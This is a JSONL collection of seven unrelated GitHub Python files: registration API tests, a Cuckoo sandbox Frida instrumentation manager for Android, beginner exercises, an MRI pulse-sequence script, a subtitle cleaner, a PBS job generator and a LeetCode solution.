+{"seq_id":"14175501375","text":"import pytest\nfrom lib.my_requests import MyRequests\nfrom lib.base_case import BaseCase\nfrom lib.assertions import Assertions\nimport allure\n\n\n@allure.epic(\"Registration cases\")\nclass TestUserRegister(BaseCase):\n    exclude_fields = [\n        (\"password\"),\n        (\"username\"),\n        (\"firstName\"),\n        (\"lastName\"),\n        (\"email\")\n    ]\n\n    @allure.description(\"This test successfully creates a user with a unique email address\")\n    @allure.severity(allure.severity_level.BLOCKER)\n    def test_create_user_successfully(self):\n        data = self.prepare_registration_data()\n\n        response = MyRequests.post(\"/user/\", data=data)\n\n        Assertions.assert_code_status(response, 200)\n        Assertions.assert_json_has_key(response, \"id\")\n\n    @allure.description(\"This test tries to create a user with existing email address (negative)\")\n    @allure.severity(allure.severity_level.CRITICAL)\n    def test_create_user_with_existing_email(self):\n        email = 'vinkotov@example.com'\n        data = self.prepare_registration_data(email)\n\n        response = MyRequests.post(\"/user/\", data=data)\n\n        Assertions.assert_code_status(response, 400)\n        assert response.content.decode(\"utf-8\") == f\"Users with email '{email}' already exists\",\\\n            f\"Unexpected response content {response.content}\"\n\n    # Создание пользователя с некорректным email - без символа @\n    @allure.description(\"This test tries to create a user with incorrect email address without @ (negative)\")\n    @allure.severity(allure.severity_level.NORMAL)\n    def test_create_user_incorrect_email(self):\n        email = 'vinkotovexample.com'\n        data = self.prepare_registration_data(email)\n\n        response = MyRequests.post(\"/user/\", data=data)\n\n        Assertions.assert_code_status(response, 400)\n        Assertions.assert_response_content(response, f\"Invalid email format\")\n\n    # Создание пользователя без указания одного из полей - с помощью @parametrize\n    # необходимо проверить, что отсутствие любого параметра не дает зарегистрировать пользователя\n    @allure.description(\"This test tries to create a user without required fields (negative)\")\n    @allure.severity(allure.severity_level.CRITICAL)\n    @pytest.mark.parametrize('field_name', exclude_fields)\n    def test_create_user_negative(self, field_name):\n        data = self.prepare_registration_data()\n\n        data[field_name] = None\n\n        response = MyRequests.post(\"/user/\", data=data)\n\n        Assertions.assert_code_status(response, 400)\n        Assertions.assert_response_content(response, f\"The following required params are missed: {field_name}\")\n\n    # Создание пользователя с очень коротким именем в один символ\n    @allure.description(\"This test tries to create a user with first name 1 character long (negative)\")\n    @allure.severity(allure.severity_level.NORMAL)\n    def test_create_user_too_short_name(self):\n        firstname = 'a'\n        data = self.prepare_registration_data()\n        data['firstName'] = firstname\n\n        response = MyRequests.post(\"/user/\", data=data)\n\n        Assertions.assert_code_status(response, 400)\n        Assertions.assert_response_content(response, r\"The value of 'firstName' field is too short\")\n\n    # Создание пользователя с очень длинным именем - длиннее 250 символов\n    @allure.description(\"This test tries to create a user with first name 300 characters long (negative)\")\n    @allure.severity(allure.severity_level.NORMAL)\n    def test_create_user_too_long_name(self):\n        firstname = '1234567890'*30\n        data = self.prepare_registration_data()\n        data['firstName'] = firstname\n\n        response = MyRequests.post(\"/user/\", data=data)\n\n        Assertions.assert_code_status(response, 400)\n        Assertions.assert_response_content(response, r\"The value of 'firstName' field is too long\")\n\n        # print(response.status_code)\n        # print(response.content)\n\n        # expected_error = \"Too short value for field firstName\"\n        # expected_error = \"Too long value for field firstName\"\n\n# python -m pytest -s tests/test_user_register.py\n# python -m pytest -s tests/test_user_register.py -k test_create_user_successfully\n# python -m pytest -s tests/test_user_register.py -k test_create_user_negative\n# python -m pytest -s tests/test_user_register.py -k test_create_user_incorrect_email\n# python -m pytest -s tests/test_user_register.py -k test_create_user_too_short_name\n# python -m pytest -s tests/test_user_register.py -k test_create_user_too_long_name\n","repo_name":"NFed1937/LearnQA_PythonAPI","sub_path":"tests/test_user_register.py","file_name":"test_user_register.py","file_ext":"py","file_size_in_byte":4775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"15590293605","text":"import frida, os, time\nimport logging\nfrom threading import Thread, Event\nfrom lib.cuckoo.common.constants import CUCKOO_ROOT\nfrom lib.cuckoo.common.exceptions import CuckooFridaError\nfrom lib.cuckoo.api.frida_extensions import run_cmd_with_timeout, exception_list, write_to_file\nfrom lib.cuckoo.api.script import get_script\nlog = logging.getLogger(__name__)\n\n\nclass FridaManager(Thread):\n    \"\"\"Frida Manager.\n    This class handles the js code injection with the frida-server running in the\n    machines, and the message sent from the machines.\n    \"\"\"\n    def __init__(self, ip, options):\n        Thread.__init__(self)\n        Thread.daemon = True\n        self._ip = ip\n        self._id = options['id']\n        self._device = None\n        self.process_on = False\n        self._ready = False\n        self._platform = \"android_test\"\n        self._log_count = 0\n        self._stop_flag = False\n        self._event = None\n\n    def set_adb(self):\n        try:\n            # run_cmd_with_timeout(\"adb kill-server && adb start-server\", 8)\n            os.system(\"adb start-server\")\n            os.system(\"adb connect {}\".format(self._ip))\n            log.debug(\"Connect to device ip {}\".format(self._ip))\n        except Exception as e:\n            log.error(\"adb fail to connect guest machine with ip: {}\".format(self._ip))\n            self.unset_adb()\n            raise CuckooFridaError(e)\n\n    def unset_adb(self):\n        try:\n            os.system(\"killall adb\")\n            log.debug(\"kill adb\")\n        except Exception as e:\n            log.error(\"adb fail to kill adb server\")\n            raise CuckooFridaError(e)\n\n    def set_frida_server(self):\n        try:\n            os.system(\"adb shell su -c data/local/tmp/frida-server &\")\n            time.sleep(1)\n            os.system(\"frida-ps -U\")\n            log.debug(\"Start Frida Server\")\n        except Exception as e:\n            self.unset_adb()\n            log.error(\"adb fail to start frida-server on guest machine with ip: {}. \".format(self._ip))\n            raise CuckooFridaError(e)\n\n    def set_device(self):\n        try:\n            # self._device = frida.get_usb_device(timeout=5)\n            # log.debug(frida.enumerate_devices())\n            _id = \"{}:5555\".format(self._ip)\n            self._device = frida.get_device(_id, timeout=5)\n            log.debug(\"Successfully run the frida thread with {}\".format(self._ip))\n        except Exception as e:\n            self.unset_adb()\n            log.error(\"get_usb_device failed with connected adb device: {}. \".format(self._ip))\n            raise CuckooFridaError(\"unable to run frida-server: {}\".format(e))\n\n    def init(self):\n        # self.unset_adb()\n        self.set_adb()\n        # comment this line if run 4.4\n        self.set_frida_server()\n        self.set_device()\n\n    def wait_for_startup(self):\n        while not self._ready:\n            time.sleep(1)\n        log.debug(\"Frida Startup is finished\")\n\n    def turn_off(self):\n        self._stop_flag = True\n        self._event.set()\n\n    def check_frida_status(self):\n        return self._stop_flag\n\n    def run(self):\n        main_dir = os.path.join(CUCKOO_ROOT, \"storage\", \"analyses\", str(self._id))\n        file_dir = os.path.join(main_dir, \"file\")\n        log_dir = os.path.join(main_dir, \"logs\")\n        pending = []\n        spawns = {}\n        sessions = {}\n        scripts = {}\n        anti_emulator_events = {}\n        self._event = Event()\n\n        def on_child(child):\n            log.debug(\"on_child: {}\".format(child))\n\n        def on_spawned(spawn_in):\n            log.debug('on_spawned: {}'.format(spawn_in))\n            if spawn_in.identifier in exception_list:\n                self._device.resume(spawn_in.pid)\n            else:\n                pending.append(spawn_in)\n                self._event.set()\n\n        def on_removed(spawn_out):\n            log.debug('on_removed: {}'.format(spawn_out))\n            s = sessions.get(spawn_out.pid)\n            if s:\n                scr = scripts[spawn_out.pid]\n                scr.unload()\n                log.debug('on_removed - unload: {}'.format(spawn_out))\n                s.detach()\n\n        # respond to \"send\" in javascript\n        # message {type:(send || error), payload: (str || list || dict)}\n\n        def on_message(message, data):\n            if message.get(\"type\") == \"send\":\n                payload = message.get(\"payload\")\n                # log.debug(\"on_message - payload: {}\".format(payload))\n                pid = payload.get(\"Process\")\n                if pid:\n                    pid = spawns.get(pid, pid)\n                t = payload.get(\"type\")\n\n                if t == \"file\":\n                    # payload {\"Process\" : Process.id, \"file\" : fs.readFileSync(path), \"path\" : path}\n                    # log.debug(\"on_message: {} - file - path {}\".format(pid, payload.get(\"path\")))\n                    msg = payload.get(\"message\")\n                    # log.debug('on_message: {} {} {}'.format(pid, msg, data))\n                    data = payload.get(\"file\")\n                    write_to_file(file_dir, payload.get(\"path\"), data)\n                    # log.debug(\"on_message: {} - successfully write file {}\".format(pid, payload.get(\"path\")))\n                elif t == \"msg\":\n                    # payload {\"Process\" : Process.id, \"message\" :  \"{Content}\"};\n                    msg = payload.get(\"message\")\n                    log.debug('on_message: {} {} {}'.format(pid, msg, data))\n                elif t == 'log':\n                    # send({\"type\":\"log\", \"Process\" : Process.id, \"log\": fs.readFileSync(path) ,\"message\":msg});\n                    msg = payload.get(\"message\")\n                    log.debug('on_message: {} {} {}'.format(pid, msg, data))\n                    data = payload.get(\"log\")\n                    title = payload.get(\"title\", \"temp_log\")\n                    temp = self._log_count\n                    self._log_count += 1\n                    write_to_file(log_dir, \"{}_{}.log\".format(title, temp), data)\n                elif t == 'droidmon':\n                    msg = payload.get(\"message\")\n                    data = payload.get(\"data\")\n                    c = data.get('class')\n                    if c and anti_emulator_events.get(c):\n                        anti_emulator_events[c].append(data)\n                    elif not anti_emulator_events.get(c):\n                        anti_emulator_events[c] = [data]\n                    log.debug('on_message: {} {} {}'.format(pid, msg, data))\n                    write_to_file(log_dir, \"emulatorDetect.log\", data, json_enabled=True)\n                elif t == 'recv_wait':  # TODO: server-side intercept\n                    msg = payload.get(\"message\")\n                    data = payload.get(\"data\")\n                    # TODO: Logic handling\n                    s = scripts.get(pid)\n                    if s:\n                        # s.post({JSON})\n                        pass\n                    log.debug('on_message: {} {} {}'.format(pid, msg, data))\n            else:\n                log.debug(\"{} {}\".format(message, data))\n\n        try:\n            log.debug(\"Run\")\n            log.debug(\"Device: {}\".format(self._device))\n            self._device.on('spawn-added', on_spawned)\n            # self._device.on('child-added', on_child)\n            # self._device.on('spawn-removed', on_removed)\n            self._device.enable_spawn_gating()\n            log.debug(\"Enabled spawn gating\")\n            for spawn in self._device.enumerate_pending_spawn():\n                self._device.resume(spawn.pid)\n            self._ready = True\n            while True:\n                while len(pending) == 0:\n                    self._event.wait()\n                    if self._stop_flag:\n                        raise ValueError(\"Task #{}: {} is terminated.\".format(self._id, self._device))\n                    self._event.clear()\n                spawn = pending.pop()\n                if spawn.identifier is not None and spawn.identifier not in exception_list:\n                    log.debug('Instrumenting: {}'.format(spawn))\n                    session = self._device.attach(spawn.pid)\n                    # session.enable_jit()\n                    # TODO: Handle subprocess\n                    # session.enable_child_gating()\n                    # Early instrumentation by rpc exports feature\n                    script = session.create_script(get_script(self._platform))\n                    script.on('message', on_message)\n                    script.load()\n                    script.exports.init()\n                    # script.exports.debug()\n                    log.debug('Instrumented: {}'.format(spawn))\n                    sessions[spawn.pid] = session\n                    scripts[spawn.pid] = script\n                    spawns[spawn.pid] = spawn\n                    try:\n                        self._device.resume(spawn.pid)\n                    except Exception as e:\n                        if 'unable to find process with pid' in str(e):\n                            pass\n                        else:\n                            raise CuckooFridaError(e)\n                    time.sleep(1)\n                    # script.exports.modules()\n                else:\n                    log.debug('Not instrumenting: {}'.format(spawn))\n                    self._device.resume(spawn.pid)\n                    time.sleep(1)\n                log.debug('Processed: {}'.format(spawn))\n        except ValueError as normal:\n            self._device.off('spawn-added', on_spawned)\n            self.unset_adb()\n            log.debug(normal)\n        except KeyboardInterrupt as k:\n            self.unset_adb()\n            frida.shutdown()\n            log.debug(k)\n        except Exception as e:\n            self.unset_adb()\n            self._stop_flag = True\n            raise CuckooFridaError(e)\n\n\n\n\n\n\n\n\n","repo_name":"Felixho19/CuckooWithFrida","sub_path":"lib/cuckoo/core/antivm.py","file_name":"antivm.py","file_ext":"py","file_size_in_byte":9813,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"21"}
+{"seq_id":"17903373324","text":"# 7-6. Three Exits: Write different versions of either Exercise 7-4 or Exercise 7-5\r\n# that do each of the following at least once:\r\n# •\t Use a conditional test in the while statement to stop the loop\r\n# •\t Use an active variable to control how long the loop runs\r\n# •\t Use a break statement to exit the loop when the user enters a 'quit' value\r\n\r\n\r\n\r\nloop_flag = True\r\n\r\npizza = []\r\n\r\nwhile loop_flag:\r\n    pizza_topping = input(\"Enter pizza topping : \\n\")\r\n    if pizza_topping == \"quit\":\r\n        print(\"Code has stopped working....\")\r\n        break\r\n    else:\r\n        print(\"Continue adding toppings... \\n\")\r\n        pizza.append(pizza_topping)\r\n\r\nprint(\"\\n\")\r\nfor ingredients in pizza:\r\n    print(ingredients,end=\" \")","repo_name":"Rifat951/PythonExercises","sub_path":"inpuy_whileloop/ex7.6.py","file_name":"ex7.6.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"16060042752","text":"\"\"\"\nCreated on Tue Nov  9 10:37:29 2021\n\n@author: Teresa\n\"\"\"\n\nimport sys\nsys.path.append('../marcos_client')\nimport experiment as ex\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.signal as sig\nimport time \n\ndef FID_EddyCurrents(\n    init_gpa= False,                 \n    larmorFreq=3.07535, \n    rfExAmp=0.3, \n    rfReAmp=None, \n    rfExPhase = 0,\n    rfExTime=38, \n    rfReTime=None,\n    nReadout = 100,\n    tAdq =18*1e3,\n    tEcho = 20*1e3,\n    echo = 2, #0 FID, 1 Echo, 2 Both\n    tRepetition = 2000*1e3,  \n#    shimming=[-100, -70, 80],\n    shimming=[0, 0, 0],\n#    shimming=[-70, -90, 10],\n#    gAxis =3,\n#    gNsteps =20, #50\n#    gRiseTime = 150,\n#    gDuration = 400,\n#    gAmp = 0.2, # Max.1=50A 0.2=2V=10A; 0.2V=1A\n    tDelay =0, \n    plotSeq =1):\n    \n    #CONSTANTES\n    tStart = 20\n    txGatePre = 15\n    txGatePost = 1\n    blkTime = 300  #Tiempo que dejo entre el rfPulse y la lectura. \n    gAmpMax = 1\n    nRdOptions = 2 \n#    nReadout = nReadout +5\n    shimming=np.array(shimming)*1e-4\n#    tDelayShimming = 15*1e3\n    oversamplingFactor=6\n    tAdqIni = tAdq\n    nA = 200\n    nB = 500\n    nC=1200\n    \n    #CONDICIONES PARAMETROS INICIALES.\n#    if gAmp > gAmpMax:\n#        gAmp = gAmpMax \n    if rfReAmp is None:\n        rfReAmp = rfExAmp\n    if rfReTime is None:\n        rfReTime = 2*rfExTime\n    \n    rfExPhase = rfExPhase*np.pi/180\n    rfExAmp = rfExAmp*np.exp(1j*rfExPhase)\n    rfRePhase = np.pi/2\n    rfReAmp = rfReAmp *np.exp(1j*rfRePhase)\n    \n    #DEFINICIÓN DE LOS PULSOS\n    def rfPulse(tIni, rfAmp, rfDuration):\n        txTime = np.array([tIni,tIni+rfDuration])\n        txAmp = np.array([rfAmp,0])\n        \n        txGateTime = np.array([tIni-txGatePre,tIni+rfDuration+txGatePost])\n        txGateAmp = np.array([1,0])\n        \n        expt.add_flodict({\n                        'tx0': (txTime, txAmp),\n                        'tx_gate': (txGateTime, txGateAmp)})\n        \n        tFin = tIni+rfDuration\n        return tFin\n    \n    def readoutGate(tIni,tRd):\n        rxTime = np.array([tIni, tIni+tRd])\n        rxAmp = np.array([1,0])\n        \n        rxGateTime = rxTime\n        rxGateAmp = rxAmp\n        expt.add_flodict({\n                        'rx0_en': (rxTime, rxAmp),\n                        'rx_gate': (rxGateTime, rxGateAmp),\n                        })\n        \n        tFin = tIni+tRd\n        return tFin\n    \n    def gradPulse(tIni, gDuration, gAmp, gAxis):\n        if gAxis == 0:\n            shim=shimming[0]\n        elif gAxis == 1:\n            shim=shimming[1]\n        elif gAxis == 2:\n            shim=shimming[2]\n        elif gAxis == 3:\n            shim = 0\n    \n        tRise = np.linspace(tIni, tIni+gRiseTime, gNsteps, endpoint=True)\n        aRise = np.linspace(shim, gAmp, gNsteps+1, endpoint=True)\n        aRise = np.delete(aRise,0)\n        tDown = np.linspace(tIni+gDuration-gRiseTime,tIni+gDuration,gNsteps,endpoint=True)\n        aDown = np.linspace(gAmp,shim,gNsteps+1,endpoint=True)\n        aDown = np.delete(aDown,0)\n        gTime = np.concatenate((tRise,tDown),  axis=0)\n        gAmp = np.concatenate((aRise,aDown),  axis=0)\n        if gAxis == 0:\n                expt.add_flodict({'grad_vx': (gTime,gAmp)})\n        elif gAxis == 1:\n                expt.add_flodict({'grad_vy': (gTime,gAmp)})\n        elif gAxis == 2:\n                expt.add_flodict({'grad_vz': (gTime,gAmp)})\n        tFin = tIni+gDuration        \n        return tFin\n    \n    \n    def iniSequence(tIni):\n            expt.add_flodict({\n                    'grad_vx': (np.array([tIni]),np.array([shimming[0]])), \n                    'grad_vy': (np.array([tIni]),np.array([shimming[1]])),  \n                    'grad_vz': (np.array([tIni]),np.array([shimming[2]])),\n                 })\n\n    def endSequence(tEnd):\n        expt.add_flodict({\n                'grad_vx': (np.array([tEnd]),np.array([0]) ), \n                'grad_vy': (np.array([tEnd]),np.array([0]) ), \n                'grad_vz': (np.array([tEnd]),np.array([0]) ),\n             })\n    \n    for i in range(3):\n        if i == 0:\n            nReadout = nA\n        elif i ==1: \n            nReadout = nB\n        elif i ==2: \n            nReadout = nC\n        #SECUENCIA\n        # BW\n        tAdq=tAdqIni\n        BW = nReadout/tAdq\n        BWov = BW*oversamplingFactor\n        samplingPeriod = 1/BWov\n        \n    #    BW = nReadout/tAdq\n    #    rx_period=1/(BW*oversampling_factor)\n    #    rx_period = 1/BW\n        expt = ex.Experiment(lo_freq=larmorFreq, rx_t=samplingPeriod, init_gpa=init_gpa, gpa_fhdo_offset_time=(1 / 0.2 / 3.1))\n        samplingPeriod = expt.get_rx_ts()[0]\n        BW = 1/samplingPeriod/oversamplingFactor\n        tAdq = nReadout/BW  \n        tAdqTest =nReadout/BWov\n    \n        iniSequence(10)\n        timeSeq = tStart\n        timeSeq = rfPulse(timeSeq,rfExAmp, rfExTime) \n        readoutGate(timeSeq+blkTime,tAdq)\n        t1=timeSeq+blkTime\n        t2=t1+tAdq\n        timeSeq = rfPulse(timeSeq+tEcho,rfReAmp, rfReTime) \n        t3=timeSeq+tEcho-tAdq/2\n        timeSeq = readoutGate(timeSeq+tEcho-tAdq/2,tAdq)\n        t4=timeSeq\n        endSequence(timeSeq-tStart)\n        \n        #RUN\n        if plotSeq==1:                \n            expt.plot_sequence()\n            plt.show()\n            expt.__del__()\n        elif plotSeq==0:\n            print('Running...')\n            rxd, msgs = expt.run()\n            expt.__del__()\n            print('End')\n            data = sig.decimate(rxd['rx0']*13.788, oversamplingFactor, ftype='fir', zero_phase=True)\n            if i == 0:\n                dataIndiv1 = np.reshape(data,(nRdOptions, nReadout))\n#                dataIndiv1=dataIndiv1[1]\n                tAdq1 = tAdq\n                samplingPeriod1=samplingPeriod\n                dataIndivFft = np.fft.fft(dataIndiv1)\n                dataOr1, dataOr2 = np.split(dataIndivFft, 2, axis=1)\n                dataIndiv1 = np.concatenate((dataOr2, dataOr1), axis=1)\n                dataIndiv1 = np.abs(dataIndiv1[0])\n            elif i == 1:\n                dataIndiv2 = np.reshape(data,(nRdOptions, nReadout))\n#                dataIndiv2=dataIndiv2[1]\n                tAdq2 = tAdq\n                samplingPeriod2=samplingPeriod\n                dataIndivFft = np.fft.fft(dataIndiv2)\n                dataOr1, dataOr2 = np.split(dataIndivFft, 2, axis=1)\n                dataIndiv2 = np.concatenate((dataOr2, dataOr1), axis=1)\n                dataIndiv2 = np.abs(dataIndiv2[0])\n            elif i == 2:\n                dataIndiv3 = np.reshape(data,(nRdOptions, nReadout))\n#                dataIndiv3=dataIndiv3[1]\n                tAdq3 = tAdq\n                samplingPeriod3=samplingPeriod\n                dataIndivFft = np.fft.fft(dataIndiv3)\n                dataOr1, dataOr2 = np.split(dataIndivFft, 2, axis=1)\n                dataIndiv3 = np.concatenate((dataOr2, dataOr1), axis=1)\n                dataIndiv3 = np.abs(dataIndiv3[0])\n            time.sleep(1)\n    #        dataIndiv = np.delete(dataIndiv,  (0, 1,2, 3, 4), axis=1)\n    \n#        Plot\n#            plt.rcParams[\"figure.figsize\"] = (16,6)\n#        BWaux=(nReadout/(tAdq*1e-6))*1e-3 #kHz\n#        x1 = np.linspace(t1, t2, nReadout, endpoint=True)*1e-3\n#        x2 = np.linspace(t3, t4,   nReadout, endpoint=True)*1e-3\n    xA = np.linspace(-tAdq1/2, tAdq1/2,   nA, endpoint=True)*1e-3\n    xB = np.linspace(-tAdq2/2, tAdq2/2,   nB, endpoint=True)*1e-3\n    xC = np.linspace(-tAdq3/2, tAdq3/2,   nC, endpoint=True)*1e-3\n    \n    xA = np.linspace(- samplingPeriod1/2,  samplingPeriod1/2,   nA, endpoint=True)\n    xB = np.linspace(- samplingPeriod2/2, samplingPeriod2/2,   nB, endpoint=True)\n    xC = np.linspace(- samplingPeriod3/2,  samplingPeriod3/2,   nC, endpoint=True)\n#        y1 = np.abs(dataIndiv[0])\n    yA = np.abs(dataIndiv1)\n    yB = np.abs(dataIndiv2)\n    yC = np.abs(dataIndiv3)\n#        tPlot = np.concatenate((x1, x2),  axis=0)\n#        aPlot = np.concatenate((np.abs(dataIndiv[0]), np.abs(dataIndiv[1])),  axis=0)\n#        plt.plot(x1[0:4], y1[0:4], 'ro')\n#        plt.plot(x1[4:], y1[4:], 'b')\n    plt.plot(xA[0:4], yA[0:4], 'go')\n    plt.plot(xA[4:], yA[4:], 'g',  label = '100')\n    \n    plt.plot(xB[0:4], yB[0:4], 'bo')\n    plt.plot(xB[4:], yB[4:], 'b', label = '500')\n    \n    plt.plot(xC[0:4], yC[0:4], 'yo')\n    plt.plot(xC[4:], yC[4:], 'y-.', label='1000')\n    \n    \n#        tFilterEcho=(2*tEcho+tStart+rfExTime/2)*1e-3\n#        tRealEcho=tFilterEcho+5*tAdq/nReadout*1e-3\n    tFilterEcho=0\n    tRealEcho1=tFilterEcho+5*tAdq1/nA*1e-3\n    tRealEcho2=tFilterEcho+5*tAdq2/nB*1e-3\n    tRealEcho3=tFilterEcho+5*tAdq3/nC*1e-3\n    print(tRealEcho1)\n    print(tRealEcho2)\n    print(tRealEcho3)\n\n    tRealEcho1=tFilterEcho+5*(samplingPeriod1*oversamplingFactor/tAdq1)*1e-3\n    tRealEcho2=tFilterEcho+5*(samplingPeriod2*oversamplingFactor/tAdq2)*1e-3\n    tRealEcho3=tFilterEcho+5*(samplingPeriod3*oversamplingFactor/tAdq3)*1e-3\n    \n    print(tRealEcho1)\n    print(tRealEcho2)\n    print(tRealEcho3)\n    \n    print(xA[np.argmax(yA)])\n    print(xB[np.argmax(yB)])\n    print(xC[np.argmax(yC)])\n    \n#    plt.axvline(tFilterEcho, 0, 160, color=\"black\", linestyle=\"-\")\n#    plt.axvline(tRealEcho1, 0, 160, color=\"green\", linestyle=\"--\")\n#    plt.axvline(tRealEcho2, 0, 160, color=\"blue\", linestyle=\"--\")\n#    plt.axvline(tRealEcho3, 0, 160, color=\"yellow\", linestyle=\"--\")\n    plt.xlabel('t(ms)')\n    plt.ylabel('A(mV)')\n    \n    plt.legend()\n    \n#        x3=  np.linspace(-BWaux/2, BWaux/2, nReadout, endpoint=True)\n#        fig = plt.subplot(121)\n#        plt.plot(x1, np.abs(dataIndiv[0]), 'r')\n#        plt.xlabel('t(ms)')\n#        plt.ylabel('A(mV)')\n#        plt.ylim(0, 200)\n#        plt.title('FID')\n#        plt.legend()\n#        fig = plt.subplot(122)\n#        plt.plot(x2, np.abs(dataIndiv[1]), 'r')\n#        plt.xlabel('t(ms)')\n#        plt.ylabel('A(mV)')\n#        plt.ylim(0, 200)\n#        plt.title('Echo')\n#        plt.legend()\n#        fig = plt.subplot(133)\n#        dataIndivFft = np.fft.fft(dataIndiv)\n#        dataOr1, dataOr2 = np.split(dataIndivFft, 2, axis=1)\n#        dataOr = np.concatenate((dataOr2, dataOr1), axis=1)\n#        plt.plot(x3, np.abs(dataOr[0]), 'r')\n#        plt.xlabel('f(kHz)')\n#        plt.ylabel('A(a.u.)')\n#        plt.title('FFT')\n#        plt.legend()\n    plt.show()\n\n\nif __name__ == \"__main__\":\n    FID_EddyCurrents()\n","repo_name":"yvives/PhysioMRI_GUI","sub_path":"seq_standalone_OLD/RPInstructions.py","file_name":"RPInstructions.py","file_ext":"py","file_size_in_byte":10257,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"}
+{"seq_id":"23169150713","text":"def find_parent(st, str1):\n    en = len(str1)\n    for i in range(st, en):\n        if str1[i] in \"([{<\":\n            return i, str1[i]\n    return -1, ' '\n\ndef find_pairs(st, op, str1):\n    if op == '(':\n        for i in range(st, len(str1)):\n            if str1[i] == ')':\n                return i\n    if op == '[':\n        for i in range(st, len(str1)):\n            if str1[i] == ']':\n                return i\n    if op == '{':\n        for i in range(st, len(str1)):\n            if str1[i] == '}':\n                return i\n    if op == '<':\n        for i in range(st, len(str1)):\n            if str1[i] == '>':\n                return i\n    return -1\n\ndef IsNum(ss):\n    if ss == \"\":\n        return False\n    for c in ss:\n        if c not in \"0123456789\":\n            return False\n    return True\n\ndef clean(INPUT, OUTPUT):\n    fp = open(INPUT, 'r'); fout = open(OUTPUT, 'w');\n    All_sub = []; idx = 0; cnt = 1;\n    templine = fp.readlines()\n    All_sub = str(\"\")\n    for temp in templine:\n        All_sub += str(temp)\n    All_sub = All_sub.split(\"\\n\\n\")\n    for temp in All_sub:\n        Last, op = find_parent(0, temp)\n        op_pairs = find_pairs(Last + 1, op, temp)\n        index = [-1];\n        while Last != -1 and op_pairs != -1:\n            index += [Last, op_pairs];\n            Last, op = find_parent(op_pairs + 1, temp)\n            op_pairs = find_pairs(Last + 1, op, temp)\n        index += [len(temp), -1]\n        out = str(\"\")\n        for i in range(0, len(index) - 1, 2):\n            out += temp[index[i] + 1:index[i+1]]\n        out = out.split(\"\\n\")\n        size = len(out); i = 0;\n        while i < size:\n            if out[i].strip() == '':\n                out.pop(i);\n                size -= 1;\n            i += 1\n        out += [\"xxxx\"]\n        size = len(out) - 1; i = 0;\n        while i < size:\n            if \"-->\" in out[i] and (out[i+1] != 'xxxx'):\n                if cnt != 1:\n                    fout.write(\"\\n\")\n                fout.write(str(cnt) + '\\n' + out[i] + '\\n')\n                cnt += 1;    \n            if (not IsNum(out[i].strip())) and (\"-->\" not in out[i]) and (out[i] != 'xxxx'):\n                fout.write(out[i] + '\\n')\n            i += 1\n    fp.close(); fout.close();        \n\n# -------------------- Driver Code -------------------- #\n# clean('test1.txt', 'test1_cleaned.txt')\n","repo_name":"Peepow2/ComProgYear1","sub_path":"Homework (1-2564)/Homework8/Clean function template.py","file_name":"Clean function template.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26638422190","text":"import sys\n\nscript_fmt = \"\"\"#!/bin/bash\n\n#PBS -l nodes=1:ppn=16\n#PBS -l pmem=4gb\n#PBS -l walltime=48:00:00\n#PBS -q batch\n#PBS -j oe\ncd %s/runs/seq/\n%s/build/arakawa.x -f %s/data/seq/%s,%s/data/seq/%s -o %s.%s.k%d.out -k %d\n\"\"\"\n\n\ndef gen_4m(seq_4mx2):\n    for k in [0, 1, 2, 3, 4, 5, 6]:\n        script_name = \"seq4Mx2.acs.k\" + str(k) + \".pbs\"\n        with open(script_name, \"w\") as f:\n            script_str = script_fmt % (arakawa_path, arakawa_path,\n                                       arakawa_path, seq_4mx2[0],\n                                       arakawa_path, seq_4mx2[1],\n                                       'seq4Mx2', 'acs', k, k)\n            f.write(script_str)\n            f.write(\"\\n\")\n\n\ndef gen_script(seq_big, prefix):\n    for k in [0, 1, 2, 3, 4, 5, 6]:\n        script_name = prefix + \".acs.k\" + str(k) + \".pbs\"\n        with open(script_name, \"w\") as f:\n            script_str = script_fmt % (arakawa_path, arakawa_path,\n                                       arakawa_path, seq_big[0],\n                                       arakawa_path, seq_big[1],\n                                       prefix, 'acs', k, k)\n            f.write(script_str)\n            f.write(\"\\n\")\n\n\nif __name__ == '__main__':\n    arakawa_path = sys.argv[1]\n    seq_4mx2 = ['NC_000962.3.fasta', 'NC_000913.3.fasta']\n    seq_big = ['NT_033779.4.fasta', 'NC_019478.1.fasta']\n    droso = ['NT_033779.5.fasta', 'NT_033778.4.fasta']\n    # gen_4m(seq_4mx2)\n    # gen_script(seq_big, \"seqbig\")\n    gen_script(droso, \"droso\")\n","repo_name":"AluruLab/alfred","sub_path":"scripts/seq_scripts.py","file_name":"seq_scripts.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33597000101","text":"class Solution(object):\n    def moveZeroes(self, nums):\n        \"\"\"\n        :type nums: List[int]\n        :rtype: None Do not return anything, modify nums in-place instead.\n        \"\"\"\n        l, r = 0, 0\n        \n        while r < len(nums):\n            if nums[r] != 0: # move the nonzero to the front\n                nums[l], nums[r] = nums[r], nums[l]\n                l += 1\n            r += 1\n                ","repo_name":"tinatran079/leetcode","sub_path":"move-zeroes/move-zeroes.py","file_name":"move-zeroes.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
